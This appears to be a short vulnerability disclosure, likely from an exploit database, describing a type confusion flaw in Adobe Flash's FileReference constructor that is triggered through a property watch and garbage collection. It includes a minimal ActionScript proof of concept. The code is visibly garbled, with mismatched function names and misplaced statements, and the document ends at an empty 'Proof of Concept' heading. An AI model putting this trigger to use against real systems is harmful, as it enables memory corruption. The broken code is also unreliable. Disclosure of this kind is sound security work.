Adobe Flash - Type Confusion in FileReference Constructor







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There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){
			this.__proto__ = {};
			this.__proto__.__constructor__ = flash.display.BitmapData;
			super(1000, 1000);

	function mysubclass(){"name", myfunc);
		_global.ASnative(2204, 200)(this); // FileReference constructor
		this.unwatch("name"); // let the reference free

        var a = new subclass();
        a = 0;
        // wait for GC

Proof of Concept: